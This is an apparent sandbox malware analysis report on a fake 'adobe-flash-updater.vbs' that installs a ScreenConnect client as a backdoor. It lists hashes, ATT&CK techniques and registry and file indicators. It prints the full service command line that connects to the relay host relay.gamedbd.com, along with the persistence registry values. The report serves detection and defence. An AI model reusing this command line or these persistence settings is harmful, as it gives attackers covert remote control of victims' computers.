0475e0d95646c6d88a18d926b529115e1506a8350c1a6929ef3278d521b52274

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/07/2026, 06:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adobe-flash-updater.vbs
Size 3KB
Sample260707-gxxsesbs21
SHA256 0475e0d95646c6d88a18d926b529115e1506a8350c1a6929ef3278d521b52274
MD5 876a6d344e1c2953ebdb23c5bbf584ae
SHA1 a60e894aba5e8f16a2fb0cdba49437011ce4fdcd
SHA512 90b7fc8d5afd40654387e0c12e9c099ae51622d684840f65a4dd3d481fcd8dd35104b0a77e6f95943141c27729e366debb64b64933a65fbedfa427cc7771c7ed
TLSH
T1FF611527FD0BC83196728A42D0676C4EDBE11257103294687E0D887C6FB2E6DDEF45AE
MD5 SHA1 SHA512 TLSH

Score

8^/10

backdoor discovery persistence privilege_escalation rat revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (dced0c98722de943)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (dced0c98722de943)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.gamedbd.com&p=8041&s=c938e0ee-4772-4643-8f45-d17b30fbd507&k=BgIAAACkAABSU0ExAAgAAAEAAQDZ%2b9VnLfivKwJVHeHqyKSNy%2bEDvUIdL7XvGZ1d8KYIeMI9NW8EJjq01exlTSHNf0rCmMzkqmDK72qTjm8ZVI3jUvw1K%2fBBJdNDknbd4tQP7pCHvBTzjaBYPmk2%2bSaknS5IVgbN3d%2bWapf1epWcqgK27Z5t1rMwh9CdDkFBxYn3faTEl3OAHaAZbuRJym6VlnJrd%2fm979ZYM%2bXjMazd091q30N8rcjUV4PZ9fNkiQziwG55Qq91xLhNHvKfWRyOnK6%2foJhF8MPiB10xiGj%2b0Yh8DPiz%2b%2fO9ZLir%2bkbe6UmU4%2fdesurofmCDbE%2bOyBtv37pc4B2GwbALdta99%2fg1oEDm&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAqdZDlSJlgEatUBm37k8mHAAAAAACAAAAAAAQZgAAAAEAACAAAAC1pMDwwoD02lswK7EaR%2bOatlCfEuHSI5PYtjOt3m7Z%2bAAAAAAOgAAAAAIAACAAAADHk0o0XDz5ORSu3vZuRwj3FYCgsbAAp0w64sjSQfqcf6AEAADuYQd67cvjerYsocrd95e5NNZhp74s5%2b%2b43N%2b5vhT3rwcid5iQNDdZEszXA17rYp%2bn2rxbVArby24DmG75KjyANIzIyDlC4UKT9NSDJ8C8rxeSLwIQKMxHmVhzKI8DE4HLFPAgvBsBZUwPjsu2Ex8oox6CAhXrXj3cRi6mBGh5JGObd7vgNb4yBjiTbLYEr5x8nQU%2bc3sXvuHqVPolNS8TqCjbbFdAdDHkKzm83UiR2QlsFPP%2bXKBLbdU4MxSeULQySspwFxuPHHkl%2fXyfkRktXRs3uz7%2bVlJeBgmh9L0fRDSHEueYKVW56y4nyQHbadofA8443D3JCOb8AaMmry24KrHJIOayOLmCuV0L4zdpMByRmBqjJZkvBe8Ax84yAhQ7DBqqIseCeupkID6uyQP4nobYL5XZ%2fbnkbnfd1FaZoB7FCCtztdqZNE0EVSCZWFQD%2b9s974S6k4OsKnw%2brHlWwSFDqgB4JRay%2bt416rOD9kBbK4BXbx3Bq0Ru2l1g3en1yeSEqpDPgxYaSrUra%2fTeAh36t%2bMNMI0x6vIqTLYd4vYk3JKMyc7lGZJU2Qfd92Yfev9LnrE%2fb4Jue47njc85sz4ll5oGAOMOegaMcsGJeEu1kjbKcYPS3KpuLBYGy%2bi%2fHRW8Cgo5o96Hppntfw%2bg1GKXi2c8PoYVtzJoFMOvPX1X0j6uSCugLFBB%2fHFTGZ57So0hAD44mWe38I%2bsFeyIXgCwXp4KAoPeyAj%2fEYSADD6dkCAa8CGcy61HWtQmlWuWLcOmxwL98Ln80QmRp0WfKEtd0yXwWtdUkvf3SGDrl52lRnNYEn7MfxxULdB7x6OkGQYKRdM90VpNoIt1USCXplNxcty5ZtCJQzPM%2brlMgx%2bpES058SV5izBYckJ7sHorUdB7IhFGekV4CsizchPdxBenFUXH1rupKCqKjUV0vU8y6FN86nhhB2AlQnGIQwvkzYI1LDNU%2f2xiar5tgbeIYpSJZ3aA%2b%2b4XigFh0LcAx6Ez3Z5b3AGnPVEfFEGM2ogvKnl2qu420J0hp9R0ouTJqR6%2fCZIaLIKN16ID0yjzeViXmLBtW6hDtiuZVgXNoM465YqpRlo0OxT7Zil5skLynTfzx6uHzaS2EWhttCs2n4VOeIEAvvVuPtudrCh4cFuxB7g3UxwiwQTWSpV%2bsAWAZM%2ff4nQ81JZRuUBr8Bf%2bPSnA8s1AY2qL5lxffW4Zy0KaZmR9rtJzDLNmipfLC4KWUnQVtHMXEKFopQo0mhgjM%2fCGu1FTVTo3uflczzuNfLiYE1m6XsdbDVCasCHUmxMYDZ4qMFVR8nvcY6%2fqU8hU9t0vlpmllvC%2bWQnpIY2zSCHpGyca63feVAPyW9a%2ba%2bn0Vbv0du%2fPnU2pTjtUW%2f1IWtVprkZIMbDHxx7op8MjXzyKjV%2baocrbfRjvRS5a7KC%2fCWNSlWYhANSIrbHs8VrSW%2b%2feZknmnzS6ZsKSes1Exn8jr3pRlSgw2A7HZpX4wVjy4gFJsEMdZG5j88U5ZZLQTI%2fMjUrw%2b1z529jNBU66s0wKraxE5ogDop%2fbC2Fl%2fSprD5Dlp6jrehGYnMbegkiB9EAAAACDtiBuQ1imqhg3Zj0eL37DYaTNl9yYeA%2fBEPMoK7Wd7z2wtJ5tBkrKuixIwpTZEJpaGXa22p8j8%2bv%2bY49w7%2fMf\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 4 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/files/0x000d00000001c510-323.dat	revoked_cert_connectwise
behavioral2/memory/5264-359-0x0000000004820000-0x00000000048F2000-memory.dmp	revoked_cert_connectwise
behavioral2/files/0x000d00000001c50d-358.dat	revoked_cert_connectwise
behavioral2/files/0x000d00000001c50b-364.dat	revoked_cert_connectwise

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
5264	ScreenConnect.ClientService.exe
1060	ScreenConnect.WindowsClient.exe
5952	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
2556	MsiExec.exe
4176	rundll32.exe
4176	rundll32.exe
4176	rundll32.exe
4176	rundll32.exe
4176	rundll32.exe
4176	rundll32.exe
4176	rundll32.exe
4176	rundll32.exe
4176	rundll32.exe
2556	MsiExec.exe
4772	MsiExec.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800640063006500640030006300390038003700320032006400650039003400330029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (dced0c98722de943)\qheg5gbb.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (dced0c98722de943)\qheg5gbb.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\system.config	msiexec.exe

Drops file in Windows directory 30 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\Installer\MSI3704.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File created	C:\Windows\Installer\SourceHash{B5C93B4E-07C3-373B-6584-3538CA7D4743}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3D01.tmp	msiexec.exe
File created	C:\Windows\Installer\{B5C93B4E-07C3-373B-6584-3538CA7D4743}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4232_1382582715\manifest.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSI3704.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF5824AC92BEB669F5.TMP	msiexec.exe
File created	C:\Windows\Installer\e593478.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3704.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3704.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\Installer\wix{B5C93B4E-07C3-373B-6584-3538CA7D4743}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{B5C93B4E-07C3-373B-6584-3538CA7D4743}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB6A07B5706901B85.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4232_1512996128\manifest.json	msedge.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e593474.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3704.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI3704.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI3704.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3BD7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3704.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF108C9A9E8FD9C3A5.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF3C933EB3289800E9.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e593474.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3704.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4232_1512996128\protocols.json	msedge.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3E79.tmp	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5136	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 14 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 38 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\Version = "402849799"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E4B39C5B3C70B37356485383ACD77434	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\ProductName = "ScreenConnect Client (dced0c98722de943)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2626306573-1585762579-411806764-1000\{D9D1D237-8AF4-4218-BB24-CDFF84FDF965}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-dced0c98722de943	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E4B39C5B3C70B37356485383ACD77434\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\PackageCode = "E4B39C5B3C70B37356485383ACD77434"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\54883E54FA27C936CDDEC08927D29E34\E4B39C5B3C70B37356485383ACD77434	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-dced0c98722de943\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (dced0c98722de943)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (dced0c98722de943)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\ProductIcon = "C:\\Windows\\Installer\\{B5C93B4E-07C3-373B-6584-3538CA7D4743}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}\ = "ScreenConnect Client (dced0c98722de943) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\54883E54FA27C936CDDEC08927D29E34	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\PackageName = "updater.msi"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\Clients = 3a0000000000	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2536	msiexec.exe
2536	msiexec.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
5264	ScreenConnect.ClientService.exe
3012	msedge.exe
3012	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4232	msedge.exe
4232	msedge.exe
4232	msedge.exe
4232	msedge.exe
4232	msedge.exe
4232	msedge.exe
4232	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2360	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2360	msiexec.exe
Token: SeSecurityPrivilege	2536	msiexec.exe
Token: SeCreateTokenPrivilege	2360	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2360	msiexec.exe
Token: SeLockMemoryPrivilege	2360	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2360	msiexec.exe
Token: SeMachineAccountPrivilege	2360	msiexec.exe
Token: SeTcbPrivilege	2360	msiexec.exe
Token: SeSecurityPrivilege	2360	msiexec.exe
Token: SeTakeOwnershipPrivilege	2360	msiexec.exe
Token: SeLoadDriverPrivilege	2360	msiexec.exe
Token: SeSystemProfilePrivilege	2360	msiexec.exe
Token: SeSystemtimePrivilege	2360	msiexec.exe
Token: SeProfSingleProcessPrivilege	2360	msiexec.exe
Token: SeIncBasePriorityPrivilege	2360	msiexec.exe
Token: SeCreatePagefilePrivilege	2360	msiexec.exe
Token: SeCreatePermanentPrivilege	2360	msiexec.exe
Token: SeBackupPrivilege	2360	msiexec.exe
Token: SeRestorePrivilege	2360	msiexec.exe
Token: SeShutdownPrivilege	2360	msiexec.exe
Token: SeDebugPrivilege	2360	msiexec.exe
Token: SeAuditPrivilege	2360	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2360	msiexec.exe
Token: SeChangeNotifyPrivilege	2360	msiexec.exe
Token: SeRemoteShutdownPrivilege	2360	msiexec.exe
Token: SeUndockPrivilege	2360	msiexec.exe
Token: SeSyncAgentPrivilege	2360	msiexec.exe
Token: SeEnableDelegationPrivilege	2360	msiexec.exe
Token: SeManageVolumePrivilege	2360	msiexec.exe
Token: SeImpersonatePrivilege	2360	msiexec.exe
Token: SeCreateGlobalPrivilege	2360	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeShutdownPrivilege	4772	MsiExec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe
Token: SeTakeOwnershipPrivilege	2536	msiexec.exe
Token: SeRestorePrivilege	2536	msiexec.exe

